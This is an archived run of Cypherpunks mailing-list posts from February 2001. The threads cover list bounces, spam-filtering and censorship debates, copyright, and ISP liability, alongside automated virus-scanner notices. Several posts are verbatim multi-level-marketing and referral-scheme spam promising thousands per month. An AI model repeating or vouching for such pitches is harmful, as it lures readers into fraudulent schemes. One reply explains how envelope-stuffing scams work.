E: mailto:aimee.farr at pobox.com
K: 0x94AB84F1





From ravage at einstein.ssz.com  Fri Feb 16 13:04:35 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 16 Feb 2001 15:04:35 -0600 (CST)
Subject: CHOATE, etal: Unsubscribe Rob@nihilist.com
In-Reply-To: <F504A8CEE925D411AF4A00508B8BE90A91EBAA@exna07.securitydynamics.com>
Message-ID: <Pine.LNX.3.96.1010216150221.356Q-100000@einstein.ssz.com>



Hi Peter

He isn't subscribed through SSZ, no nihilist.com or another.com in the
bunch. If another alias comes to light please pass it along and I'll
delete it.

As an aside, I usually only let bounces from SSZ subscribers last about a
week. If it isn't fixed in that time I figure it isn't going to.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

On Fri, 16 Feb 2001, Trei, Peter wrote:

> [Apologies in advance for the multiple posting; this had to get
>  to everyone -pt]
> 
> Jim (and other cypherpunk node operators):
> 
> The spate of "Mail Delivery Failure" messages we've been
> seeing for the last few days are due to messages sent to a
> user "rob at nihilist.com", apparently a very temporary (and
> now dead) web mail address at www.another.com.
> 
> I've exchanged mail with the postmaster (richard at uk.another.com),
> and he clearly regards this as Someone Elses Problem, and has no
> intention of ceasing to send the bounce notices.
> 
> I strongly advise everyone running a cpunk node to check for, and
> delete rob at nihilist.com. It's not like he/she/it can't resubscribe if
> they want to.
> 
> Sigh.... Yet Another Attack now exists against the cypherpunks
> S/N ratio.
> 
> Peter Trei
> 




From ravage at einstein.ssz.com  Fri Feb 16 13:12:46 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 16 Feb 2001 15:12:46 -0600 (CST)
Subject: The bounces are from algebra.com
Message-ID: <Pine.LNX.3.96.1010216151223.5925A-100000@einstein.ssz.com>



I did a search of the last bounce and it's coming from algebra.com.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Fri Feb 16 13:33:31 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 16 Feb 2001 15:33:31 -0600 (CST)
Subject: CHOATE, etal: Unsubscribe Rob@nihilist.com
In-Reply-To: <Pine.LNX.4.33.0102161308280.18634-100000@snuffy.whitetrash.org>
Message-ID: <Pine.LNX.3.96.1010216152346.5925B-100000@einstein.ssz.com>



Hi Alex,

On Fri, 16 Feb 2001, Alex B. Shepardsen wrote:

> Can't the node operators set up some sort of filter to catch bounce
> messages and prevent them from being sent to the list? It seems logical to
> block anything from postmaster@, MAILER-DAEMON, etc...
> 
> Just a thought...

Yes, but it gets into a gray area of 'censorship'. I know it seems
'obvious' but boundary conditions that appear obvious here can be
problematic 'there'. I prefer to simply stay away from the whole issue.

The backbone is unfiltered and should stay that way.

I'm not sure how algebra.com has their config file setup. In my majordomo
these sorts of things normaly go to list-owner and not list. <shrug>

The SSZ policy is to not touch the body or title of traffic on the
backbone and pass this on to our subscribers to filter to their hearts
content (that the title or body may be a bounce is irrelevant). Bounces
from an SSZ subscriber I catch before they get re-sent to the subscribers
(and the backbone) if I'm lucky. If the redirect to list-owner is in error
then I'll forward it to the list with appropriate notice. If it's a real
bounce (ie lasts at least a week) then I delete it. I used to try to send
notices but I got what Peter got, indifference. So I just delete the
accounts now.

What I'd suggest is to ask Igor if he can redirect that sort of stuff to
an account with a home dir of /dev/null. I know that he has operated the
algebra.com node pretty hands-off now for quite a while. As far as I am
aware he isn't even subscribed to the list.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------







From ravage at einstein.ssz.com  Fri Feb 16 13:48:57 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 16 Feb 2001 15:48:57 -0600 (CST)
Subject: BOUNCE cypherpunks@einstein.ssz.com:  global taboo header: /^subject:\s*Returned mail\b/i     (fwd)
Message-ID: <Pine.LNX.3.96.1010216154821.5925C-100000@einstein.ssz.com>



<double shrug>
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Fri, 16 Feb 2001 15:47:30 -0600
From: owner-cypherpunks at ssz.com
To: owner-cypherpunks at einstein.ssz.com
Subject: BOUNCE cypherpunks at einstein.ssz.com:  global taboo header: /^subject:\s*Returned mail\b/i    

>From owner-cypherpunks at ssz.com  Fri Feb 16 15:47:29 2001
Received: (from cpunks at localhost)
	by einstein.ssz.com (8.8.8/8.8.8) id PAA06640
	for cypherpunks at ssz.com; Fri, 16 Feb 2001 15:47:23 -0600
Received: from localhost (localhost)
	by einstein.ssz.com (8.8.8/8.8.8) with internal id PAA06584;
	Fri, 16 Feb 2001 15:47:21 -0600
Date: Fri, 16 Feb 2001 15:47:21 -0600
From: Mail Delivery Subsystem <MAILER-DAEMON at ssz.com>
Message-Id: <200102162147.PAA06584 at einstein.ssz.com>
To: cpunks at einstein.ssz.com
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="PAA06584.982360041/einstein.ssz.com"
Content-Transfer-Encoding: 8bit
Subject: Returned mail: Service unavailable
Auto-Submitted: auto-generated (failure)

This is a MIME-encapsulated message

--PAA06584.982360041/einstein.ssz.com

The original message was received at Fri, 16 Feb 2001 15:46:58 -0600
from cpunks at localhost

   ----- The following addresses had permanent fatal errors -----
cypherpunks at algebra.com

   ----- Transcript of session follows -----
... while talking to ak47-stump-related.algebra.com.:
>>> DATA
<<< 553 5.0.0 Illegal Message-ID
554 cypherpunks at algebra.com... Service unavailable

--PAA06584.982360041/einstein.ssz.com
Content-Type: message/delivery-status

Reporting-MTA: dns; einstein.ssz.com
Arrival-Date: Fri, 16 Feb 2001 15:46:58 -0600

Final-Recipient: RFC822; cypherpunks at algebra.com
Action: failed
Status: 5.1.0
Remote-MTA: DNS; ak47-stump-related.algebra.com
Diagnostic-Code: SMTP; 553 5.0.0 Illegal Message-ID
Last-Attempt-Date: Fri, 16 Feb 2001 15:47:21 -0600

--PAA06584.982360041/einstein.ssz.com
Content-Type: text/rfc822-headers
Content-Transfer-Encoding: 8bit


From timotey_date at yahoo.com  Fri Feb 16 13:00:13 2001
From: timotey_date at yahoo.com (David Felder)
Date: Fri, 16 Feb 2001 16:00:13 -0500 (EST)
Subject: Favorable purchases and work for you.
Message-ID: <20010216210013.E13044ED04@pop401-leg.mail.com>


Hi!

My participant's ID code is 1072.

Do you want to earn some money using you computer?
Do you want to get the popular electronics , investing $65?

Important addition:
If you reconsider, you can return your $65 anytime.

If the answer is "Yes", please read this letter and/or visit
http://www.friendlybuys.com

Friendly Buys program gives you all these opportunities.
-You may get real, but not virtual, goods.
-You may make money, not virtual millions, but you will get your 5-7
thousands per month.
-Credit cards are accepted. (Online)
-If you reconsider, your $65 will be returned to you by first request.

The catalogue is updated regularly, the entire catalogue you may examine on
http://www.friendlybuys.com

If you are interested with the program and you decide to become its
participant, while registration you should enter my ID code: 1072.


Attention!
I'm terribly sorry if you are not interested in the participation in any
sort of net programs and you have received this letter accidentally. I'm not
going to use your e-mail to inform you about the program in the future.

Good luck!
Be happy!




From virus_notice at gcinet.net  Fri Feb 16 08:32:04 2001
From: virus_notice at gcinet.net (System Anti-Virus Administrator)
Date: 16 Feb 2001 16:32:04 -0000
Subject: Virus found in received message "Snowhite and the Seven Dwarfs - The REAL story!"
Message-ID: <20010216163204.7936.qmail@gcinet.net>



Attention: cypherpunks at cyberpass.net Subj<br /


[This message was _not_ sent to the originator address, as that appears to
be a mailing-list or some other automated Email message]

A Virus was found in an Email message sent to you. 
This Email scanner intercepted it and stopped the entire message
before it reached you.

The Virus was reported to be: 

W32/Hybris-B

Please contact your I.T support personnel with any queries regarding this 
policy.

The message sent to you had the following envelope:

MAIL FROM: 
RCPT TO:   cypherpunks at cyberpass.net Subj<br / 

... and with the following headers:


From str-attr at getanotherfuckingisp.com  Fri Feb 16 16:10:45 2001
From: str-attr at getanotherfuckingisp.com (Strange Attractor)
Date: Fri, 16 Feb 2001 19:10:45 -0500 (EST)
Subject: PGP on Debian
Message-ID: <Pine.LNX.4.21.0102161908440.10016-100000@toaster.by.net>



		I currently use PGP 7.0 (w/Win2k) on my main system.  At
present I have some of my mails routed to a Debian server running SSH with
no POPMail support.   Hacktic.nl has command line linux PGP source,  but
the .tar appears to be corrupted.  I've also noticed a number of differing
PGP/Pine programs, but I'm unclear as to what the current version is
(there are .tar files available for "PGP4PINE" up to 1.56, but then
another file is listed as PGPPINE5 in the same directory.  Any suggestions
on what I can use given Debian/Pine parameters?

Strange Attractor







From cdaemon at goblin.punk.net  Fri Feb 16 19:32:47 2001
From: cdaemon at goblin.punk.net (Checkered Daemon)
Date: Fri, 16 Feb 2001 19:32:47 -0800 (PST)
Subject: envelope stuffing
In-Reply-To: <200102162116_MC2-C5CD-8CC2@compuserve.com> from "larry drewyor" at Feb 16, 2001 09:16:19 PM
Message-ID: <200102170332.TAA10585@goblin.punk.net>


You misspelled 'Detweiller'.  But thanks for staying on the meds.

> 
> I was wondering about the envelope system if i send the order form and
> money  you will send me the envelopes with papers i need to fill them with
> ?
> 

-- 
Checkered Daemon                              cdaemon at goblin.punk.net

Delirium:  There must be a word for it ... the thing that lets you know that
           TIME is happening.  IS there a word?
Sandman:   CHANGE.
Delirium:  Oh.  I was AFRAID of that.




From BDREWYOR at compuserve.com  Fri Feb 16 18:16:19 2001
From: BDREWYOR at compuserve.com (larry drewyor)
Date: Fri, 16 Feb 2001 21:16:19 -0500
Subject: envelope stuffing
Message-ID: <200102162116_MC2-C5CD-8CC2@compuserve.com>


I was wondering about the envelope system if i send the order form and
money  you will send me the envelopes with papers i need to fill them with
?




From petro at bounty.org  Fri Feb 16 22:04:48 2001
From: petro at bounty.org (petro)
Date: Fri, 16 Feb 2001 22:04:48 -0800
Subject: Taxes on hard drives
In-Reply-To: <F1997kNSRQDgFwZq7RW00005755@hotmail.com>
References: <F1997kNSRQDgFwZq7RW00005755@hotmail.com>
Message-ID: <p04320410b6b3c4cae4e9@[10.1.1.42]>


>On Thu, 15 Feb 2001, Ken Brown wrote:
>>You guys just need to get back to the big city :-)
>
>not true.  in fact, i would argue that the difficulty of finding 
>good music is widespread throughout the states.
>i attribute this to the clueless, braindead fools who are governed 
>by the radio...and we all know the stupidity of the people who 
>control the radio stations.

	So what you are complaining about is market forces?
-- 
You can never go hunting
With just a flintlock and a hound
You won't go home with a bunting
If you blow a hundred rounds -- Tom Waits, Just the Right Bullets




From alan at clueserver.org  Fri Feb 16 22:36:33 2001
From: alan at clueserver.org (Alan Olsen)
Date: Fri, 16 Feb 2001 22:36:33 -0800 (PST)
Subject: Taxes on hard drives
In-Reply-To: <p04320410b6b3c4cae4e9@[10.1.1.42]>
Message-ID: <Pine.LNX.4.10.10102162230240.13258-100000@clueserver.org>


On Fri, 16 Feb 2001, petro wrote:

> >On Thu, 15 Feb 2001, Ken Brown wrote:
> >>You guys just need to get back to the big city :-)
> >
> >not true.  in fact, i would argue that the difficulty of finding 
> >good music is widespread throughout the states.
> >i attribute this to the clueless, braindead fools who are governed 
> >by the radio...and we all know the stupidity of the people who 
> >control the radio stations.
> 
> 	So what you are complaining about is market forces?

When the market is "what a bunch of guys in suits decide is what I should
be able to buy" -- YES!

The reason unauthorized copying takes place to the extent it does is the
absolute disreguard for "the market" that those making the decisions on
what is available and/or what is promoted have for those "market forces".

When was the last time that actual supply and demand actually made a
difference in how much you had to pay for a movie or DVD?  Who else are
you going to get it from?

The bootleg market is the only real competition these conglomerates have.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From emc at artifact.psychedelic.net  Sat Feb 17 00:43:32 2001
From: emc at artifact.psychedelic.net (Eric Cordian)
Date: Sat, 17 Feb 2001 00:43:32 -0800 (PST)
Subject: BuffNET Rolls Over for Porn Whackos
Message-ID: <200102170843.f1H8hWA23442@artifact.psychedelic.net>


Remember quite some time ago, when then NY Attorney General Dennis Vacco
tried to jump-start his bid for re-election by seizing the news servers of
two local ISPs claiming that he had busted a "Virtual University Devoted
to the Sexual Abuse of Children" and that the two ISPs in question
provided child porn access for this alleged "Institution."

Well, Vacco lost the election, the news servers turned out to carry the
same uncensored newsfeed as thousands of other ISPs, and "Pedo University"
turned out to be a running gag in a couple less tasteful newsgroups where
regulars would identify themselves as mythical faculty members when
responding to trolls.

In the end, a few people got busted for downloading questionable Usenet
content, but no children were saved, and the newsgroups in question
continued merrily onwards, along with the people adopting the "Pedo
University" moniker.

I don't know if it's anticipatory anxiety over the upcoming Shrub
Administrations "War on Porn" or just plain idiocy, but it appears that
one of the ISPs featured in Vacco's halucinations has decided to roll over
and plead guilty to "knowingly providing access to child porn" from its
Usenet feed.

The Wired News take on these amazing festivities can be found at the
following URL...

http://www.wired.com/news/culture/0,1284,41878,00.html

Apparently, in return for setting the precedent that ISP's are responsible
for the content carried on their Usenet servers, and pissing in the Common
Carrier punchbowl for everyone else in the country, BuffNET will get to
pay only a $5k fine, and get relief from an obnoxious police investigation
which is already running into its second year.

Ashcroft hasn't even warmed up yet, and the Lemmings are already hurling
themselves into the sea of their own volition.  Who says Sheeple don't get
the government they deserve.  <snicker>

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From amn at ubik.demon.co.uk  Fri Feb 16 19:17:41 2001
From: amn at ubik.demon.co.uk (Anthony Naggs)
Date: Sat, 17 Feb 2001 03:17:41 +0000
Subject: envelope stuffing
In-Reply-To: <200102162116_MC2-C5CD-8CC2@compuserve.com>
References: <200102162116_MC2-C5CD-8CC2@compuserve.com>
Message-ID: <6EgtgKAV1ej6EwO3@ubik.demon.co.uk>


[copied to cypherpunks for info/reference]

In message <200102162116_MC2-C5CD-8CC2 at compuserve.com>, larry drewyor
<BDREWYOR at compuserve.com> wrote to cypherpunks at toad.com:
>I was wondering about the envelope system if i send the order form and
>money  you will send me the envelopes with papers i need to fill them with
>?

1.  cypherpunks at toad.com is a mail discussion list, not a person and 
    definitely not a person offering money for stuffing envelopes.
2.  (Nearly?) All offers of money for stuffing envelopes are lies.
    Anybody with a scheme that really made money from stuffing 
    envelopes they would buy machinery to do the job.  Even the 
    smallest business can afford a simple machine that folds letters
    to the right size!
3.  Most advertised schemes work like this:
    a.  somebody makes adverts for people to make money stuffing 
        envelopes, for a fee
    b.  somebody else replies, paying the fee.
    c.  the first person stuffs *one* envelope, with instructions
        on how to write the original adverts, sent to the second
        person.
    Only people who are poor and desperate for money respond to 
    these adverts.  Having paid the fee such people then have to
    choose to: try to get their money back; try to make their
    money back by joining the scam, often needing to spend more
    money on adverts themselves; or just decide that the money they
    spent is lost.

Anybody who offers a job but requires you to give them money should be
treated with great suspicion!


Regards.
-- 
Anthony Naggs




From timotey_date at yahoo.com  Sat Feb 17 01:42:19 2001
From: timotey_date at yahoo.com (David Felder)
Date: Sat, 17 Feb 2001 04:42:19 -0500 (EST)
Subject: Favorable purchases and work for you.
Message-ID: <20010217094219.AFCAC4ECE2@pop401-leg.mail.com>


Hi!

My participant's ID code is 1072.

Do you want to earn some money using you computer?
Do you want to get the popular electronics , investing $65?

Important addition:
If you reconsider, you can return your $65 anytime.

If the answer is "Yes", please read this letter and/or visit
http://www.friendlybuys.com

Friendly Buys program gives you all these opportunities.
-You may get real, but not virtual, goods.
-You may make money, not virtual millions, but you will get your 5-7
thousands per month.
-Credit cards are accepted. (Online)
-If you reconsider, your $65 will be returned to you by first request.

The catalogue is updated regularly, the entire catalogue you may examine on
http://www.friendlybuys.com

If you are interested with the program and you decide to become its
participant, while registration you should enter my ID code: 1072.


Attention!
I'm terribly sorry if you are not interested in the participation in any
sort of net programs and you have received this letter accidentally. I'm not
going to use your e-mail to inform you about the program in the future.

Good luck!
Be happy!




From drevil at sidereal.kz  Fri Feb 16 23:51:54 2001
From: drevil at sidereal.kz (drevil at sidereal.kz)
Date: 17 Feb 2001 07:51:54 -0000
Subject: Havenco status?
Message-ID: <20010217075154.18805.qmail@mailhost.sidereal.kz>



Ever since the Wired article came out, I've thought that Havenco was a
joke (but not a very funny joke for the investors probably).  I've
been checking their site occasionally, and it always says "coming
soon".  Does anyone know if they are going to actually start selling
services, or have they given up?

Right now, it looks like the UK won't even have to waste any time
shutting them down, because Havenco's first-rate executive team will
do the job for them.




From Spam.Alert at nospam.com  Sat Feb 17 08:46:16 2001
From: Spam.Alert at nospam.com (Spam Alert!!!)
Date: Sat, 17 Feb 2001 08:46:16 -0800 (PST)
Subject: Spam is illegal
Message-ID: <419.436939.48934155Spam Alert@nospam.com>


     
Hi, 
I would like to share a genuine, NO RISK opportunity 
with you. Skeptical already? Good! 
Unlike other internet opportunities that you might 
have seen, what I have to share with you invites close 
scrutiny - even with a skeptical eye. It is first and 
foremost a CONSUMER OPPORTUNITY. 
It also offers you the ability to have a share of a new 
Internet Mall to buy at wholesale for yourself or to 
send others to and make commissions on their 
purchases. 
Besides this, it also offers a unique and innovative 
networking program using a principle we call 
"REFERNET" Marketing. No hyped "pie in the sky" 
program or "get rich quick" scheme, but rather a 
credible and realistic way to save money and gradually 
develop what can become a large, recurring residual 
income. 
The best thing about this opportunity? You can "try it 
before you buy it". That's right. You 
can join for FREE with no risk or obligation. As a Club 
Member, you will be able to shop at The Club Outlet 
Center, where shipping is always included in the price 
of the merchandise. You will also be able to shop at 
The Stores, located in the Mall, where you will receive 
rebates on your purchases as per our affinity 
agreements. 
You will also be able be entered into Postlaunch and 
receive a FREE position in the Club's network. Watch 
as others join your downline and see how our 
innovative network building program works. 
To obtain your FREE ID number with which you can 
immediately browse through the many bargains and 
benefits of membership, simply click this link:( 
http://www.peyros.com/teamsucces2k/Index.html) for 
more information. That's it! We'll handle the rest and 
send you your FREE ID Number. 
Remember, you have nothing to lose 
and potentially a lot to gain! 
<A 
HREF="http://www.peyros.com/team
succes2k/Index.html">AOL Users 
Click Here</A>




From ANTIGEN_EXCHANGE at thinklinkinc.com  Sat Feb 17 08:53:24 2001
From: ANTIGEN_EXCHANGE at thinklinkinc.com (ANTIGEN_EXCHANGE)
Date: Sat, 17 Feb 2001 08:53:24 -0800
Subject: Antigen found W32/Hybris@m virus
Message-ID: <3475CE1F1D75D4118174009027A4CDE6322CDF@exchange.thinklinkinc.com>

Antigen for Exchange found midgets.scr infected with W32/Hybris at m virus.
The file is currently Deleted.  The message, "Mail Delivery Failure - Please
read this message!", was
sent from postmaster at another.com and was discovered in IMC Queues\Inbound
located at ITC/Corporate/EXCHANGE.
-------------- next part --------------
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From ravage at einstein.ssz.com  Sat Feb 17 09:12:34 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 17 Feb 2001 11:12:34 -0600
Subject: Slashdot | Legal Action Against Censorware?
Message-ID: <3A8EB102.5BB87E28@ssz.com>


http://slashdot.org/askslashdot/01/02/09/066243.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From tcmay at got.net  Sat Feb 17 12:06:13 2001
From: tcmay at got.net (Tim May)
Date: Sat, 17 Feb 2001 12:06:13 -0800
Subject: It's 2001, so it must be time for A Modest Filtering Proposal
In-Reply-To: <F504A8CEE925D411AF4A00508B8BE90A91EBAA@exna07.securitydynamics.com>
References: <F504A8CEE925D411AF4A00508B8BE90A91EBAA@exna07.securitydynamics.com>
Message-ID: <a05010400b6b4844692f0@[207.111.241.219]>


At 9:55 AM -0500 2/16/01, Trei, Peter wrote:
>[Apologies in advance for the multiple posting; this had to get
>  to everyone -pt]
>
>Jim (and other cypherpunk node operators):
>
>The spate of "Mail Delivery Failure" messages we've been
>seeing for the last few days are due to messages sent to a
>user "rob at nihilist.com", apparently a very temporary (and
>now dead) web mail address at www.another.com.
>
>I've exchanged mail with the postmaster (richard at uk.another.com),
>and he clearly regards this as Someone Elses Problem, and has no
>intention of ceasing to send the bounce notices.
>
>I strongly advise everyone running a cpunk node to check for, and
>delete rob at nihilist.com. It's not like he/she/it can't resubscribe if
>they want to.
>
>Sigh.... Yet Another Attack now exists against the cypherpunks
>S/N ratio.

This is actually Just an Old Attack. It used to be that either Eric 
Hughes or Hugh Daniel would periodically delete addresses which 
caused problems like this. (I'm talking about the period 1992-1996.)

After the "CDR Era" began, with the main CDR unfiltered nodes echoing 
the traffic sent to _any_ of the other nodes, this pretty much 
stopped.

Since then, anytime anyone brings up the issue of how to fix the spam 
and cluelessness problems, screams, usually from Choate, are heard 
that this is "censorship."

Yes, procmail and Eudora-type filtering offer various ways to not see 
the bounces, much of the spam, etc. But the list is now at the point 
where more than half of the unfiltered traffic is spam or bounces or 
"help me make bombz so i can get yur site shut down" requests.

There have long been several "noncensorious" approaches:

1. Only subscribers can post, plus anything that comes from an 
identifiable remailer. Many mailing lists already work this way, of 
course. The remailer addresses can be entered manually, with CDR 
operators exchanging updated lists of known remailers. ZKS and 
similar privacy systems can presumably be handled in some way.

2. A "magic word" in the text or subject line. Instead of Choate 
adding "CDR:" to all of the signal + noise that reaches his system, 
wouldn't it be more interesting if _authors_ added such a word--even 
CDR, ironically enough!--to their message headers?

(The idea of both of the above is that spammers and clueless bombz 
dewdz would probably not know enough to either subscribe to the list 
or to insert the magic word.)

3. Wider use of downstream-filtered services, like Ray Arachelian's 
service. I have sometimes thought about dropping my subscription to 
one of the  CDR nodes and subscribing to Ray's service instead, but I 
have several reservations. First, whether it will remain in 
operation. Second, what the lag time is. Third, his is a "this is 
what I think is interesting" service, so there are obvious problems 
of his interests not matching mine, or even of my own posts not being 
seen by me because he has elected not to pass them on.

A more interesting downstream filter service would be something 
operated as an automated site, like another CDR node, except that it 
automatically filters out nonsubscribers to one of the main lists. 
(This requires no cooperation with the other CDR nodes, provided the 
whois function can retrieve their subscribers.)

This service should be low-latency, which rules out a human critic 
deciding which posts are worthy of passing on. And it should

The "magic word" approach cannot be used in isolation, as it only 
works if a very large fraction of the interesting list memmbers are 
using the magic word.

If one of you folks out  there does this--sets up this kind of 
low-latency filtering of nonsubscribers, plus inclusion of anonymous 
or remailed or ZKS/Mojo-type posts--then I will subscribe to your 
service.

A more ambitious approach might give options for filtering, at a 
fairly coarse granularity. Not individual posters, but, say, "Don't 
pass on any traffic from toad.com."

But just the "subscribers to any CDR node plus anonymous" filter 
would be the key step in eliminating the spam and bounces and 
unwelcome bombz dewdz.

(Choate can presumably be counted on to start foaming about how I am 
proposing censorship and that if I would like such a service I should 
build one myself. Happily, I won't see his foamings.)

Consider this an invitation for someone to try doing this. And if 
someone is already doing this, you need to advertise more!

--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From Spam.Alert at nospam.com  Sat Feb 17 12:12:30 2001
From: Spam.Alert at nospam.com (Spam Alert!!!)
Date: Sat, 17 Feb 2001 12:12:30 -0800 (PST)
Subject: Spam is illegal
Message-ID: <419.436939.63230938Spam Alert@nospam.com>


     
Hi, 
I would like to share a genuine, NO RISK opportunity 
with you. Skeptical already? Good! 
Unlike other internet opportunities that you might 
have seen, what I have to share with you invites close 
scrutiny - even with a skeptical eye. It is first and 
foremost a CONSUMER OPPORTUNITY. 
It also offers you the ability to have a share of a new 
Internet Mall to buy at wholesale for yourself or to 
send others to and make commissions on their 
purchases. 
Besides this, it also offers a unique and innovative 
networking program using a principle we call 
"REFERNET" Marketing. No hyped "pie in the sky" 
program or "get rich quick" scheme, but rather a 
credible and realistic way to save money and gradually 
develop what can become a large, recurring residual 
income. 
The best thing about this opportunity? You can "try it 
before you buy it". That's right. You 
can join for FREE with no risk or obligation. As a Club 
Member, you will be able to shop at The Club Outlet 
Center, where shipping is always included in the price 
of the merchandise. You will also be able to shop at 
The Stores, located in the Mall, where you will receive 
rebates on your purchases as per our affinity 
agreements. 
You will also be able be entered into Postlaunch and 
receive a FREE position in the Club's network. Watch 
as others join your downline and see how our 
innovative network building program works. 
To obtain your FREE ID number with which you can 
immediately browse through the many bargains and 
benefits of membership, simply click this link:( 
http://www.peyros.com/teamsucces2k/Index.html) for 
more information. That's it! We'll handle the rest and 
send you your FREE ID Number. 
Remember, you have nothing to lose 
and potentially a lot to gain! 
<A 
HREF="http://www.peyros.com/team
succes2k/Index.html">AOL Users 
Click Here</A>




From tcmay at got.net  Sat Feb 17 13:16:09 2001
From: tcmay at got.net (Tim May)
Date: Sat, 17 Feb 2001 13:16:09 -0800
Subject: Taxes on hard drives
In-Reply-To: <Pine.SOL.4.30.0102161316270.24291-100000@kruuna.Helsinki.FI>
References: <Pine.SOL.4.30.0102161316270.24291-100000@kruuna.Helsinki.FI>
Message-ID: <a05010402b6b49953850a@[207.111.241.2]>


At 1:18 PM +0200 2/16/01, Sampo Syreeni wrote:
>On Wed, 14 Feb 2001, Tim May wrote:
>
>>(But some of us had the last laugh. The "Home Recording Act" tax came
>>with the proviso that unlimited "non-commercial" copying was now
>>unprosecutable.
>
>Somehow I think no one even thinks about creating such a provision, here in
>Europe...
>
>Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university

Without intending to insult Europe or Europeans, the main reason your 
kleptocrats haven't thought about such a proviso is because 
they...haven't thought about it.

Don't assume that because you don't have some of the same laws we in 
these united states have is because you have "more freedom."

As for copying CDs and the Home Recording Act, let me hasten to add 
that there has _never_ been a prosecution of an individual for 
copying CDs, before or after the Home Recording Act. Tens of millions 
of persons have been making libraries of records, CDs, etc., borrowed 
from friends and libraries, for many decades. Not a single 
prosecution.

I was merely noting that when the kleptocrats formulated their new 
"Home Recording Act," the new shakedown tax came with a proviso that 
made such a prosecution impossible even in principle.

Finland and France and all of the other European "havens of freedom" 
(yuck yuck) will eventually figure out what these united states and 
their fascist rulers figured out decades earlier.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From k.brown at ccs.bbk.ac.uk  Sat Feb 17 05:50:04 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Sat, 17 Feb 2001 13:50:04 +0000
Subject: Taxes on hard drives
References: <F1997kNSRQDgFwZq7RW00005755@hotmail.com> <p04320410b6b3c4cae4e9@[10.1.1.42]>
Message-ID: <3A8E818C.DC23BACD@ccs.bbk.ac.uk>


petro wrote:
> 
> >On Thu, 15 Feb 2001, Ken Brown wrote:
> >>You guys just need to get back to the big city :-)
> >
> >not true.  in fact, i would argue that the difficulty of finding
> >good music is widespread throughout the states.
> >i attribute this to the clueless, braindead fools who are governed
> >by the radio...and we all know the stupidity of the people who
> >control the radio stations.
> 
>         So what you are complaining about is market forces?

Actually I think that was Alan who wrote that, not me. 

But I imagine he is complaining against the copyright system acting
against market forces (like Napster).

Personally, I rather like copyright laws for the most part. Far less
pernicious than patents (which were OK when they were for inventions,
went downhill when they started patenting algorithms & now that drug
companies are trying to patent chance discoveries it's turned into a
total mess)  and trade secrets  (which shouldn't be the business of the
law at all. A secret is a secret until it's out, then it isn't. If one
of your employees lets your secrets out, well you should have paid them
enough to make them want to keep them.) 

Something odd seems to have happened to copyright in the music business
though. Copyright law usually acts to protect the originator of a work
(at least it does over here), for example authors license print
publishers to distribute or sell what they write, but they don't usually
permanently lose rights over their own work. For reasons I cannot claim
to fully understand,  music publishers tend to buy the whole copyright
of a work, the originators signing away their entire future interest in
it. I suspect it has something to do with the relative weight of lawyers
on each side. Or maybe authors are just more savvy than musicians as far
as small print is concerned.

Ken Brown (5000 Kms downwind of Bermuda)




From ericm at lne.com  Sat Feb 17 14:23:46 2001
From: ericm at lne.com (Eric Murray)
Date: Sat, 17 Feb 2001 14:23:46 -0800
Subject: It's 2001, so it must be time for A Modest Filtering Proposal
In-Reply-To: <a05010400b6b4844692f0@[207.111.241.219]>; from tcmay@got.net on Sat, Feb 17, 2001 at 12:06:13PM -0800
References: <F504A8CEE925D411AF4A00508B8BE90A91EBAA@exna07.securitydynamics.com> <a05010400b6b4844692f0@[207.111.241.219]>
Message-ID: <20010217142346.A684@slack.lne.com>


